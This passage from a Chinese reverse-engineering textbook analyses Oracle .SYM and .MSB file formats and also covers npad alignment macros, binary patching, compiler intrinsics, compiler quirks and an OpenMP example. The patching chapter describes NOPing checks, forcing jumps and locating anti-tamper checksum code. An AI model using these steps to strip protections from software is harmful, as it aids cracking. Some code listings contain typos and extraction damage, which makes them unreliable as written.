可见它包含 66 个文本字符串。我们先把这个数字记下来。 通常来说,无论它是字符串、还是其他什么类型的数据,数据的总数往往会出现在二进制文件的其他 部分。这次的分析过程再次印证了这个规律,我们可以在文件的开始部分、OSYM 之后看到 66(0x42): $ hexdump -C orawtc8.sym 00000000 4f 53 59 4d 42 00 00 00 00 10 00 10 80 10 00 10 |OSYMB...........| 00000010 f0 10 00 10 50 11 00 10 60 11 00 10 c0 11 00 10 |....P...`.......| 00000020 d0 11 00 10 70 13 00 10 40 15 00 10 50 15 00 10 |[email protected]...| 00000030 60 15 00 10 80 15 00 10 a0 15 00 10 a6 15 00 10 |`...............| .... 当然,0x42 不是一个 byte 型数据,很可能是个以小端字节序存储的 32 位数据。正因如此,0x42 之后 排列着 3 个以上的零字节。 判断它是 32 位数据的依据是什么?Oracle RDBMS 的符号文件可能非常大。以版本号为 10.2.0.4 的 Oracle 主程序为例,它的 oracle.sym 包含有 0x3A38E(即 238478)个符号。16 位的数据类型不足以表达这 个数字。 分析过其他.SYM 文件之后,我更加确定了上述猜测:在 32 位的 OSYM 签名之后的数据,就是反映 文本字符串数量的数据。 这也是多数二进制文件的常规格式:文件头通常包含程序签名和文件中的某种信息。 接下来,我们分析一下文件中的二进制部分。我把文件中第 8 字节(字符串计数器之后)到字符串之 间的内容存储为另外一个文件(binary_block)。然后再使用 Hiew 打开这个新文件,如图 86.3 所示。 这个文件的模式逐渐清晰了起来。为了便于理解,我在图中添加了几条分割线,如图 86.4 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 86 章 Oracle 的.SYM 文件 837 图 86.3 Binary block 图 86.4 Binary block 多数的 hex 编辑器每行都显示 16 个字节,Hiew 也不例外。所以,在 Hiew 的窗口里,每行信息对应 着 4 个 32 位数据。 文件中的数据凸显了它的这种特征:在地址 0x104 之前的数据都是 0x1000xxx 形式的数据(请注意小 端字节序),数据都以 0x10、0x00 字节开头;以 0x108 开始的数据,都是 0x0000xxxx 型的数据,都以两个 零字节开头。 我们把这些数据整理为 32 位的数组,代码如下所示。 指令清单 86.1 第一列是地址 $ od -v -t x4 binary_block 0000000 10001000 10001080 100010f0 10001150 0000020 10001160 100011c0 100011d0 10001370 0000040 10001540 10001550 10001560 10001580 0000060 100015a0 100015a6 100015ac 100015b2 0000100 100015b8 100015be 100015c4 100015ca 0000120 100015d0 100015e0 100016b0 10001760 0000140 10001766 1000176c 10001780 100017b0 0000160 100017d0 100017e0 10001810 10001816 异步社区会员 dearfuture(15918834820) 专享 尊重版权 838 逆向工程权威指南(下册) 0000200 10002000 10002004 10002008 1000200c 0000220 10002010 10002014 10002018 1000201c 0000240 10002020 10002024 10002028 1000202c 0000260 10002030 10002034 10002038 1000203c 0000300 10002040 10002044 10002048 1000204c 0000320 10002050 100020d0 100020e4 100020f8 0000340 1000210c 10002120 10003000 10003004 0000360 10003008 1000300c 10003098 1000309c 0000400 100030a0 100030a4 00000000 00000008 0000420 00000012 0000001b 00000025 0000002e 0000440 00000038 00000040 00000048 00000051 0000460 0000005a 00000064 0000006e 0000007a 0000500 00000088 00000096 000000a4 000000ae 0000520 000000b6 000000c0 000000d2 000000e2 0000540 000000f0 00000107 00000110 00000116 0000560 00000121 0000012a 00000132 0000013a 0000600 00000146 00000153 00000170 00000186 0000620 000001a9 000001c1 000001de 000001ed 0000640 000001fb 00000207 0000021b 0000022a 0000660 0000023d 0000024e 00000269 00000277 0000700 00000287 00000297 000002b6 000002ca 0000720 000002dc 000002f0 00000304 00000321 0000740 0000033e 0000035d 0000037a 00000395 0000760 000003ae 000003b6 000003be 000003c6 0001000 000003ce 000003dc 000003e9 000003f8 0001020 这里有 132 个值,是 66×2 的阵列。字符串的总量正好是 66。那么,到底是每个字符串符号对应了 2 个 32 位数据,还是说这 2 个 32 位数据完全就是两个互不相干数组呢?我们继续分析。 以 0x1000 开头的值可能是某种地址。毕竟.SYM 文件是为.DLL 文件服务的,而且 Win32 DLL 文件的 默认基址是 0x10000000,代码的起始地址通常是 0x10001000。 使用 IDA 工具打开 orawtc8.dll 文件,可以看到它的基址不是默认地址。尽管如此,我们可以看到它的 第一个函数的对应代码为: .text:60351000 sub_60351000 proc near .text:60351000 .text:60351000 arg_0 = dword ptr 8 .text:60351000 arg_4 = dword ptr 0Ch .text:60351000 arg_8 = dword ptr 10h .text:60351000 .text:60351000 push ebp .text:60351001 mov ebp, esp .text:60351003 mov eax, dword_60353014 .text:60351008 cmp eax, 0FFFFFFFFh .text:6035100B jnz short loc_6035104F .text:6035100D mov ecx, hModule .text:60351013 xor eax, eax .text:60351015 cmp ecx, 0FFFFFFFFh .text:60351018 mov dword_60353014, eax .text:6035101D jnz short loc_60351031 .text:6035101F call sub_603510F0 .text:60351024 mov ecx, eax .text:60351026 mov eax, dword_60353014 .text:6035102B mov hModule, ecx .text:60351031 .text:60351031 loc_60351031: ; CODE XREF: sub_60351000+1D .text:60351031 test ecx, ecx .text:60351033 jbe short loc_6035104F .text:60351035 push offset ProcName ; "ax_reg" .text:6035103A push ecx ; hModule .text:6035103B call ds:GetProcAddress ... 喔,我们好像见过字符串“ax_reg”!它不就是在.SYM 文件的字符串区里的第一个字符串嘛!可见, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 86 章 Oracle 的.SYM 文件 839 这个函数的名字应该就是“ax_reg”。 上述 DLL 文件的第二个函数是: .text:60351080 sub_60351080 proc near .text:60351080 .text:60351080 arg_0 = dword ptr 8 .text:60351080 arg_4 = dword ptr 0Ch .text:60351080 .text:60351080 push ebp .text:60351081 mov ebp, esp .text:60351083 mov eax, dword_60353018 .text:60351088 cmp eax, 0FFFFFFFFh .text:6035108B jnz short loc_603510CF .text:6035108D mov ecx, hModule .text:60351093 xor eax, eax .text:60351095 cmp ecx, 0FFFFFFFFh .text:60351098 mov dword_60353018, eax .text:6035109D jnz short loc_603510B1 .text:6035109F call sub_603510F0 .text:603510A4 mov ecx, eax .text:603510A6 mov eax, dword_60353018 .text:603510AB mov hModule, ecx .text:603510B1 .text:603510B1 loc_603510B1: ; CODE XREF: sub_60351080+1D .text:603510B1 test ecx, ecx .text:603510B3 jbe short loc_603510CF .text:603510B5 push offset aAx_unreg ; "ax_unreg" .text:603510BA push ecx ; hModule .text:603510BB call ds:GetProcAddress ... “ax_unreg”是字符串区域里的第二个字符串。第二个函数的起始地址是 0x60351080,而在 SYM 文件 里二进制区域的第二个数值正是 10001080。据此推测,文件里的这个值应该就是相对地址,只不过,这个相 对地址的基地址不是默认的 DLL 基址罢了。 简短截说,在.SYM 文件中那个 66×2 的数据里,前半部分 66 个数值是 DLL 文件里的函数地址。它 们也可能是函数里某个标签的相对地址。那么,由 0x0000 开头的、余下的 66 个值表达的是什么信息呢? 这些数据的取值区间是[0,0x3f8]。它不像是位域的值,只是某种递增序列。关键问题是:每个值的最后 一个数之间没有什么明确关系,它也不像是某种地址信息—地址的值应该是 4、8 或 0x10 的整数倍。 不妨直接问问您自己:如果您是研发人员,还要在这个文件里写什么数据?即便是瞎猜,也会猜得八 九不离十:目前还缺少文本字符串(函数名)在文件里的地址信息。简单验证可知,的确如此,这些数值 与字符串的第一个字母的地址存在对应关系。 大功告成。 此外,我还写了一段把.SYM 文件中的函数名加载到 IDA 脚本的程序,以便.idc 脚本文件自动解析函 数的函数名: #include <stdio.h> #include <stdint.h> #include <io.h> #include <assert.h> #include <malloc.h> #include <fcntl.h> #include <string.h> int main (intargc, char *argv[]) { uint32_t sig, cnt, offset; uint32_t *d1, *d2; int h, i, remain, file_len; char *d3; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 840 逆向工程权威指南(下册) uint32_t array_size_in_bytes; assert (argv[1]); // file name assert (argv[2]); // additional offset (if needed) // additional offset assert (sscanf (argv[2], "%X", &offset)==1); // get file length assert ((h=open (argv[1], _O_RDONLY | _O_BINARY, 0))!=-1); assert ((file_len=lseek (h, 0, SEEK_END))!=-1); assert (lseek (h, 0, SEEK_SET)!=-1); // read signature assert (read (h, &sig, 4)==4); // read count assert (read (h, &cnt, 4)==4); assert (sig==0x4D59534F); // OSYM // skip timedatestamp (for 11g) //_lseek (h, 4, 1); array_size_in_bytes=cnt*sizeof(uint32_t); // load symbol addresses array d1=(uint32_t*)malloc (array_size_in_bytes); assert (d1); assert (read (h, d1, array_size_in_bytes) == array_size_in_bytes); // load string offsets array d2=(uint32_t*)malloc (array_size_in_bytes); assert (d2); assert (read (h, d2, array_size_in_bytes) ==array_size_in_bytes); // calculate strings block size remain=file_len-(8+4)-(cnt*8); // load strings block assert (d3=(char*)malloc (remain)); assert (read (h, d3, remain)==remain); printf ("#include <idc.idc>\n\n"); printf ("static main() {\n"}; for (i=0; i<cnt; i++) printf ("\tMakeName(0x%08X, \"%s\");\n", offset + d1[i], &d3[d2[i]]); printf (")\n"); close (h); free (d1); free (d2); free (d3); }; 使用这个脚本以后,我们可以看到: #include <idc.idc> static main() { MakeName(0x60351000, "_ax_reg"); MakeName(0x60351080, "_ax_unreg"); MakeName(0x603510F0, "_loaddll"); MakeName(0x60351150, "_wtcsrin0"); MakeName(0x60351160, "_wtcsrin"); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 86 章 Oracle 的.SYM 文件 841 MakeName(0x603511C0, "_wtcsrfre"); MakeName(0x603511D0, "_wtclkm"); MakeName(0x60351370, "_wtcstu"); ... } 如需下载本章用到的 oracle 文件,请访问:http://beginners.re/examples/oracle/SYM/。 此外,我们来研究一下 Win64 下的 64 位 oracle RDBMS。64 位程序的指针肯定就是 64 位数据了吧! 这种情况下,8 字节数据的数据特征就更为明显了。如图 86.5 所示。 图 86.5 RDBMS for Win64 的.SYM 文件(示例) 可见,数据表的所有元素都是 64 位数据,字符串偏移量也不例外。此外,大概是为了区别不同的操作 系统,文件的签名改成了 OSYMAM64。 如需让 IDA 自动加载.SYM 文件中的函数名,可参考我的样本程序:https://github.com/dennis714/porg/ blob/master/oracle_sym.c。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8877 章 章 O Orraaccllee 的 的..M MSSDDBB 文 文件 件 在解决问题时,如果解是已知的, 那么你总会有章可循。 —————————————— 《墨菲定律-精确的法则》 Oracle 的.MSDB 文件是一种含有错误信息和相应错误编号的二进制文件。本章将与您共同研究它的文 件格式,尝试解读其中的原始数据。 虽然 Oracle RDBMS 提供专门的、文本格式的错误信息文件,但是并非每个.MSB 文件里都有相应的、 文本格式的错误信息文件,所以有时需要把二进制文件和信息文本进行关联分析。 过滤掉 ORAUS.MSG 的注释以后,文件开头部分的内容如下所示: 00000, 00000, "normal, successful completion" 00001, 00000, "unique constraint (%s.%s) violated" 00017, 00000, "session requested to set trace event" 00018, 00000, "maximum number of sessions exceeded" 00019, 00000, "maximum number of session licenses exceeded" 00020, 00000, "maximum number of processes (%s) exceeded" 00021, 00000, "session attached to some other process;cannot switch session" 00022, 00000, "invalid session ID; access denied" 00023, 00000, "session references process private memory;cannot detach session" 00024, 00000, "logins from more than one process not allowed in single-process mode" 00025, 00000, "failed to allocate %s" 00026, 00000, "missing or invalid session ID" 00027, 00000, "cannot kill current session" 00028, 00000, "your session has been killed" 00029, 00000, "session is not a user session" 00030, 00000, "User session ID does not exist." 00031, 00000, "session marked for kill" ... 其中,第一个数字是错误编号,第二个数字可能是某种特殊的标识信息。 现在,我们打开 ORAUS.MSB 的二进制文件,然后找到这些字符串,如图 87.1 所示。 文本字符串之间掺杂着二进制的数据。简单分析之后,可知文件的主体部分可分为多个固定长度的信息 块,每个信息块的大小是 0x200(512)字节。 首先查看第一个信息块的数据,如图 87.2 所示。 可以看到第一条错误信息的文本内容。此外,我们还注意到错误信息之间没有零字节;也就是说,这些 字符串不是以零字节分割的 C 语言字符串。作为一种替代机制,文件中必须有某个数据记录字符串的长度。 然后我们来找找它的错误代码。参照 ORAUS.MSG 文件起始部分的错误编号,我们在.msb 文件中找到 取值为错误编号的几个字节:0,1,17(0x11),18(0x12),19(0x13),20(0x14),21(0x15),22(0x16), 23(0x17),24(0x18)……笔者在这个信息块里找到了这些数字,并且在图 87.2 里用红线标出它们。相 邻两个错误代码之间的空间周期是 6 个字节。这意味着每条错误信息可能都占用 6 个字节。 第一个 16 位值(0xA 即 10)代表着每个信息块包含的错误信息的总数—其他信息块的调查结果印 证了这一猜想。稍微想一下就知道错误信息(文本字符串)的长度不会是一致的。这种字符串有长有短, 但是信息块的尺寸却是固定的。所以,程序无法事先知道每个信息块装载了多少个文本字符串。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 87 章 Oracle 的.MSDB 文件 843 图 87.1 Hiew:第一个消息块 图 87.2 Hiew:第一个消息块 刚才讲过,这些字符串不是以零字节分割的 C 语言字符串,其字符串长度肯定位于文件中的其他什么 地方。字符串“normal,successful completion”有 29(0x1D)字节,另一个字符串“unique constraint(%s.%s) violated”有 34 个(0x22)字节。但是在这个信息块里,我们找不到 0x1d 或者 0x22。 一般来说,Oracle RDBMS 应当需要确定每个字符串在信息块之中的相对位置。第一个字符串“normal, successful completion”在整个文件中的绝对位置是 0x1444,在信息块中的相对位置是 0x44。同理可得第二 个字符串“unique constraint(%s.%s)violated”的位置 0x1461 和 0x61。这两个数(0x44 和 0x61)并不陌 生!在信息块中的前几个字节里就有这些数字。 综上所述,我们分析出了各个信息块里 6 字节非文本信息的格式:  16 位错误代码。  16 位的零(可能含有其他的标识信息)。  16 位的字符串地址信息,用于标记字符串在当前信息块的相对位置。 这些猜想可以被事实验证。在信息块中的最后一个 6 字节的、错误信息为“dummy”的信息块,它的 异步社区会员 dearfuture(15918834820) 专享 尊重版权 844 逆向工程权威指南(下册) 错误编号为零、起始位置指向最后一个错误信息的最后一个字符之后的位置。或许这个凑数的字符串偏改 量用于标记上一个字符串的结束符?至此为止,我们可以根据 6 字节数据的信息,索引指定的错误编号, 从而获取文本字符串的起始位置。我们还知道源程序会根据下一个 6 字节数据块推算本字符串的文本长度。 这样一来,我们可以确定字符串的界限。这种文件格式不必存储字符串的长度,因而十分节省空间。我们 可能无法判断它最终能压缩多少文件空间,但是这无疑是一种不错的思路。 此后,我们返回来分析.MSB 文件的文件头信息。信息的总数如图 87.3 中红线部分所示。 图 87.3 Hiew:文件头 对其他.MSB 文件进行了验证之后,我确信所有的推测都准确无误。虽然文件头中还富含其他信息, 但是我们的目标(供调试工具调用)已经达成,故而本文不再分析那些数据。除非我们要编写一个.MSB 文件的封装程序,否则就不需要理解其他数据的用途。 如图 87.4 所示,在文件头之后还有一个 16 位数值构成的数据表。 图 87.4 Hiew:last_errnos 表 如图 87.4 中的红线所示,这些数据的数据宽度可以直接观察出来。在导出这些数据时,我发现这些 16 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 87 章 Oracle 的.MSDB 文件 845 位数据就是每个信息块里最后一个错误信息的错误编号。 可见,Oracle RDBMS 通过这部分数据进行快速检索的过程大体如下:  加载 last_errnos(随便起的名字)数据表。这个数据表包含每个信息块里的错误信息总数。  依据错误编号找到相应的信息块。此处假设各信息块中的信息以错误代码的增序排列。  加载相应的信息块。  逐一检索 6 字节的索引信息。  通过当前 6 字节数据找到字符串的第一个字符的位置。  通过下一个 6 字节数据找到最后一个字符的位置。  加载这个区间之内的全部字符。 我编写了一个展开.MSB 信息的 C 语言程序,有兴趣的读者可通过下述网址下载:http://beginners.re/ examples/oracle/MSB/oracle_msb.c。 本例还用到了 Oracle RDBMS 11.1.06 的两个文件,如需下载请访问:  go.yurichev.com/17214。  go.yurichev.com/17215。 总结 对于现在的计算机系统来说,本章介绍的这种方法可能已经落伍了。恐怕只有那些在 20 世纪 80 年代中 期做过大型工程、时刻讲究内存和磁盘的利用效率的老古董才会制定这样严谨的文件格式。无论怎样,这 部分内容颇具代表性。我们可以在不分析 Oracle RDBMS 代码的前提下理解它的专用文件的文件格式。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第十 十部 部分 分 其 其他 他 异步社区会员 dearfuture(15918834820) 专享 尊重版权 848 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8888 章 章 nnppaadd “npad”指令是一种汇编宏,用于把下一个指令标签的首地址向指定边界对齐。 被 npad 指令对齐的标签,通常都是需要被多次跳转到的地址标签。例如,在各种循环体起始地址处的 标签之前,我们经常可以看到 npad 指令。它可通过对齐内存地址、内存总线或缓存线等手段,提高 CPU 加载数据(或指令代码)的访问效率。 下面这段代码摘自 MSVC 的文件 listing.inc。 顺便提一下,这都是 NOP 指令的变种。虽然这些指令没有实际的操作意义,但是它们可以占用不同的 空间。 出于 CPU 性能的考虑,下述代码没有使用多条 NOP 指令,而是使用了单条指令。 ;; LISTING.INC ;; ;; This file contains assembler macros and is included by the files created ;; with the -FA compiler switch to be assembled by MASM (Microsoft Macro ;; Assembler). ;; ;; Copyright (c) 1993-2003, Microsoft Corporation. All rights reserved. ;; non destructivenops npad macro size if size eq 1 nop else if size eq 2 mov edi, edi else if size eq 3 ; lea ecx, [ecx+00] DB 8DH, 49H, 00H else if size eq 4 ; lea esp, [esp+00] DB 8DH, 64H, 24H, 00H else if size eq 5 add eax, DWORD PTR 0 else if size eq 6 ; lea ebx, [ebx+00000000] DB 8DH, 9BH, 00H, 00H, 00H, 00H else if size eq 7 ; lea esp, [esp+00000000] DB 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H else if size eq 8 ; jmp .+8; .npad 6 DB 0EBH, 06H, 8DH, 9BH, 00H, 00H, 00H, 00H else if size eq 9 ; jmp .+9; .npad 7 DB 0EBH, 07H, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H else if size eq 10 ; jmp .+A; .npad 7; .npad 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 850 逆向工程权威指南(下册) DB 0EBH, 08H, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 90H else if size eq 11 ; jmp .+B; .npad 7; .npad 2 DB 0EBH, 09H, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 8BH, 0FFH else if size eq 12 ; jmp .+C; .npad 7; .npad 3 DB 0EBH, 0AH, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 8DH, 49H, 00H else if size eq 13 ; jmp .+D; .npad 7; .npad 4 DB 0EBH, 0BH, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 8DH, 64H, 24H, 00H else if size eq 14 ; jmp .+E; .npad 7; .npad 5 DB 0EBH, 0CH, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 05H, 00H, 00H, 00H, 00H else if size eq 15 ; jmp .+F; .npad 7; .npad 6 DB 0EBH, 0DH, 8DH, 0A4H, 24H, 00H, 00H, 00H, 00H, 8DH, 9BH, 00H, 00H, 00H, 00H else %out error: unsupported npad size .err endif endif endif endif endif endif endif endif endif endif endif endif endif endif endif endm 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8899 章 章 修 修改 改可 可执 执行 行文 文件 件 89.1 文本字符串 除了那些经过加密存储的字符串以外,我们可以使用任何一款的 hex editor 直接编辑 C 字符串。即使 那些不了解机器码和可执行文件具体格式的人,也可以使用这项技术直接编辑可执行程序中的字符串。修 改后的字符串,其长度不得大于原来字符串的长度,否则可能覆盖其他的数据甚至是其他指令。在 MS-DOS 盛行的时代,人们普遍使用这种方式直接用译文替换软件中的外文文字。至少在 20 世纪 80 年代和 90 年代 的前苏联,这种技术十分流行。所以,那个时代也出现了各种古灵精怪的超短缩写:预定长度的字符串存 储空间可能容纳不下完整的译文,所以软件翻译人员不得不绞尽脑汁压缩译文的长度。 在修改 Delphi 程序的字符串时,有时还要调整字符串的长度。 89.2 x86 指令 修改可执行文件中汇编指令的方式有以下几种:  禁用某些指令。此时只要使用 0x90(NOP)替换相应的汇编指令即可。  禁用条件转移指令。在修改 74 xx(JZ)这样的条件转移指令时,我们可以直接把转移指令的 2 个字节替换为两个 0x90(NOP),也可以把第二个字节(jump offset)替换为 0,即把偏移量固定 为 0。  强制程序进行跳转。有些时候,我们需要把条件转移指令替换为跳转指令,强制其进行跳转。此 时,把 opcde 的第一个字节替换为 JMP 的 0xEB 即可。  禁用某函数。只要把函数的第一个指令替换为 RETN(0xC3),那么它就不会运行。只要程序的 调用约定不是 stdcall(第 64 章第 2 节),那么这种修改方法都不会有问题。在修改遵循 stdcall 约 定的函数时,修改人员首先要注意函数参数的数量(可查阅原函数的 RETN 指令),然后使用带 有 16 位参数的 RETN(0xC2)指令替换函数的第一条指令。  某些情况下,被禁用的函数必须返回 0 或 1。此时可使用“MOV EAX,0”或“MOV EAX,1” 进行处理。直接使用这两条指令的 opcode 进行替换时,您会发现其 opcode 较长。这种情况下就 可以使用“XOR EAX,EAX”(0x31 0xC0 两个字节)或 XOR EAX,EAX /INC EAX (0x31 0xC0 0x40 三个字节)进行替换。 很多软件采用了防范修改的技术。这种功能通常都由“读取可执行文件代码”和“校验和(checksum) 检验”两个步骤分步实现。即是说,要实现防修改机制,程序首先要读取(加载到内存里的)程序文件。 我们可设置断点,解析其读取内存函数的具体地址。 tracer 工具可以满足这种调试需求。它具有 BPM(内存断点)功能。 在修改程序时,不得修改 PE 可执行文件的 relocs(参见本书的 68.2.6 节)。Windows 的加载程序会使 用新的代码覆盖这部分代码。如果使用 Hiew 打开可执行程序,会发现这部分代码以灰色显示(请参考 图 7.12)。万不得已的时候,您可使用跳转指令绕过 reclos,否则就要编辑 relocs 的数据表。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9900 章 章 编 编译 译器 器内 内部 部函 函数 数 编译器内部函数(compiler intrinsic)是与特定编译器有关的函数,并非寻常的库函数。在编译库函数 时,编译器会调用(call)这个函数;而在编译内部函数时,编译器会使用对应的机器码进行直译。内部函 数通常是与特定 CPU 特定指令集有关的伪函数。 例如,C/C++语言里没有循环移位运算指令,而多数 CPU 硬件支持这种指令。为了便于编程人员使用 这种指令,MSVC 推出了有关的伪函数_rotl() 和_rotr()。在编译这两个函数时,编译器会直接使用 x86 指令 集中 ROL/ROR 指令的 opcode 进行替换。 此外,为了方便程序代码调用 SSE 指令,MSVC 还推出了一些内部函数。 如需查询所有的 MSVC 内部函数,请查阅 MSDN 网站:http://msdn.microsoft.com/en-us/library/26td21ds.aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9911 章 章 编 编译 译器 器的 的智 智能 能短 短板 板 Intel C++ 10.1(在 Linux x86 平台上编译 Oracle RDBMS 11.2 的编译器)有时候会生成两个连续的 JZ 指令。实际上第二条 JZ 指令不会被执行、没有实际意义。 指令清单 91.1 kdli.o from libserver11.a .text:08114CF1 loc_8114CF1: ; CODE XREF: __PGOSF539_kdlimemSer+89A .text:08114CF1 ; __PGOSF539_kdlimemSer+3994 .text:08114CF1 8B 45 08 mov eax, [ebp+arg_0] .text:08114CF4 0F B6 50 14 movzx edx, byte ptr [eax+14h] .text:08114CF8 F6 C2 01 test dl, 1 .text:08114CFB 0F 85 17 08 00 00 jnz loc_8115518 .text:08114D01 85 C9 test ecx, ecx .text:08114D03 0F 84 8A 00 00 00 jz loc_8114D93 .text:08114D09 0F 84 09 08 00 00 jz loc_8115518 .text:08114D0F 8B 53 08 mov edx, [ebx+8] .text:08114D12 89 55 FC mov [ebp+var_4], edx .text:08114D15 31 C0 xor eax, eax .text:08114D17 89 45 F4 mov [ebp+var_C], eax .text:08114D1A 50 push eax .text:08114D1B 52 push edx .text:08114D1C E8 03 54 00 00 call esp, 8 .text:08114D21 83 C4 08 add esp, 8 上述文件中,另有一处也存在这种问题。 指令清单 91.2 from the same code .text:0811A2A5 loc_811A2A5: ; CODE XREF: kdliSerLengths+11C .text:0811A2A5 ; kdliSerLengths+1C1 .text:0811A2A5 8B 7D 08 mov edi, [ebp+arg_0] .text:0811A2A8 8B 7F 10 mov edi, [edi+10h] .text:0811A2AB 0F B6 57 14 movzx edx, byte ptr [edi+14h] .text:0811A2AF F6 C2 01 test dl, 1 .text:0811A2B2 75 3E jnz short loc_811A2F2 .text:0811A2B4 83 E0 01 and eax, 1 .text:0811A2B7 74 1F jz short loc_811A2D8 .text:0811A2B9 74 37 jz short loc_811A2F2 .text:0811A2BB 6A 00 push 0 .text:0811A2BD FF 71 08 push dwordptr [ecx+8] .text:0811A2C0 E8 5F FE FF FF call len2nbytes 这些问题可能属于编译器的 bug。但是它们生成的程序不会受到该 bug 的影响,所以可能被测试人员 遗漏了下来。本书的 19.2.4 节、39.3 节、47.7 节、18.7 节、12.4.1 节、19.5.2 节中都演示了这种问题。 本文演示了这些编译器问题,以证明编译器确实可能出现匪夷所思的奇怪行为。如果遇到了这种现象, 读者不必绞尽脑汁地去琢磨“编译器为什么生成这种诡异代码”。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 9922 章 章 O OppeennM MPP OpenMP 是一种相对简单的、实现多线程并发功能的编程 API。 本章将以加密学意义上的非重复随机数 nonce 为例,演示 OpenMP 的应用方法。下面这段代码把 nonce 和不加密的明文进行串联(即添加),以进行非可逆加密,从而增加截获、破解密文的难度。此外,Bitcion 协议约定,在某个阶段中通过 nonce 使消息块的 hash 包含特定长度的、连续的零。这种机制又叫作“prove of system”(系统验证)(https://en.wikipedia.org/wiki/Proof-of-work_system),即参与通信的系统通过这种机 制证明它已经采取了精密而耗时的计算。 虽然下面这段代码和 Bitcoin 没有直接关系,但是功能颇为类似。它会向字符串“hello,word!_”添加 一个数字,使得“hello,word!_<数字>”的 SHA512 hash 包含三个或三个以上的 0 字节。 假设穷举的区间为[0,INT32 最大数−1](即 0~0x7FFFFFFE/2147483646)。 整个算法并不复杂: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> #include "sha512.h" int found=0; int32_t checked=0; int32_t* __min; int32_t* __max; time_t start; #ifdef __GNUC__ #define min(X,Y) ((X) < (Y) ? (X) : (Y)) #define max(X,Y) ((X) > (Y) ? (X) : (Y)) #endif void check_nonce (int32_t nonce) { uint8_t buf[32]; struct sha512_ctx ctx; uint8_t res[64]; // update statistics int t=omp_get_thread_num(); if (__min[t]==-1) __min[t]=nonce; if (__max[t]==-1) __max[t]=nonce; __min[t]=min(__min[t], nonce); __max[t]=max(__max[t], nonce); // idle if valid nonce found if (found) return; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 92 章 OpenMP 855 memset (buf, 0, sizeof(buf)); sprintf (buf, "hello, world!_%d", nonce); sha512_init_ctx (&ctx); sha512_process_bytes (buf, strlen(buf), &ctx); sha512_finish_ctx (&ctx, &res); if (res[0]==0 && res[1]==0 && res[2]==0) { printf ("found (thread %d): [%s]. seconds spent=%d\n", t, buf, time(NULL)-start); found=1; }; #pragma omp atomic checked++; #pragma omp critical if ((checked % 100000)==0) printf ("checked=%d\n", checked); }; int main() { int32_t i; int threads=omp_get_max_threads(); printf ("threads=%d\n", threads); __min=(int32_t*)malloc(threads*sizeof(int32_t)); __max=(int32_t*)malloc(threads*sizeof(int32_t)); for (i=0; i<threads; i++) __min[i]=__max[i]=-1; start=time(NULL); #pragma omp parallel for for (i=0; i<INT32_MAX; i++) check_nonce (i); for (i=0; i<threads; i++) printf ("__min[%d]=0x%08x __max[%d]=0x%08x\n", i, __min[i], i, __max[i]); free(__min); free(__max); }; 函数 check_nonce() 有 3 个作用:向字符串添加数字、使用 SHA512 算法计算新字符串的 hash、检查 hash 中是否有 3 个为 0 的字节。 这段代码中较为重要的部分是: #pragma omp parallel for for (i=0; i<INT32_MAX; i++) check_nonce (i); 这个程序确实不复杂。如果没有#pragma,程序会从0 依次穷举到INT32 的最大值(0x7fffffff,即2147483647), 依次用check_nonce() 函数验证。加上#pragma之后,编译器会添加特定的代码把整个区间划分为若干子区 间,充分利用CPU的多核进行并行运算。 ① 我们可以通过下述指令,使用MSVC 2012 进行编译 ② ① 本例仅为示范性说明。在实际情况下,使用 OpenMP 技术往往更为困难、复杂。 ② sha512.(c|h)和 u64.h 的源文件可照搬 OpenSSL 的库文件:http://www.openssl.org/source/。 : cl openmp_example.c sha512.obj /openmp /O1 /Zi /Faopenmp_example.asm GCC 对应的编译指令为: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 856 逆向工程权威指南(下册) gcc -fopenmp 2.c sha512.c -S -masm=intel 92.1 MSVC MSVC 2012 生成的主循环的指令如下所示。 指令清单 92.1 MSVC 2012 push OFFSET _main$omp$1 push 0 push 1 call __vcomp_fork add esp, 16 ; 00000010H 所有以 vcomp 开头的函数都是与 OpenMP 有关的函数,通过 vcomp*.dll 进行加载。它将发起一组线程 进行并行计算。 具体来说,_main$omp$1 的汇编代码如下所示。 指令清单 92.2 MSVC 2012 $T1 = -8 ; size = 4 $T2 = -4 ; size = 4 _main$omp$1 PROC ; COMDAT push ebp mov ebp, esp push ecx push ecx push esi lea eax, DWORD PTR $T2[ebp] push eax lea eax, DWORD PTR $T1[ebp] push eax push 1 push 1 push 2147483646 ; 7ffffffeH push 0 call __vcomp_for_static_simple_init mov esi, DWORD PTR $T1[ebp] add esp, 24 ; 00000018H jmp SHORT $LN6@main$omp$1 $LL2@main$omp$1: push esi call _check_nonce pop ecx inc esi $LN6@main$omp$1: cmp esi, DWORD PTR $T2[ebp] jle SHORT $LL2@main$omp$1 call __vcomp_for_static_end pop esi leave ret 0 _main$omp$1 ENDP 这个函数会启动 n 个并发线程,其中 n 就是 CPU 核芯(cores)的总数。函数 vcomp_for_static_simple_init() 计算当前线程里 for() 结构体的区间,而区间的间隔则由当前线程的总数决定。循环计数器的起始值和结束 值分别存储于局部变量$T1 和$T2。细心的读者可能注意到函数 vcomp_for_static_simple_init() 的一个参数为 0x7ffffffeh(即 2147483646)——它是整个循环体的迭代次数,最终会被 n 整除。 接下来程序发起了调用函数 check_nonce() 的循环,完成余下的工作。 我在源代码的 check_nonce() 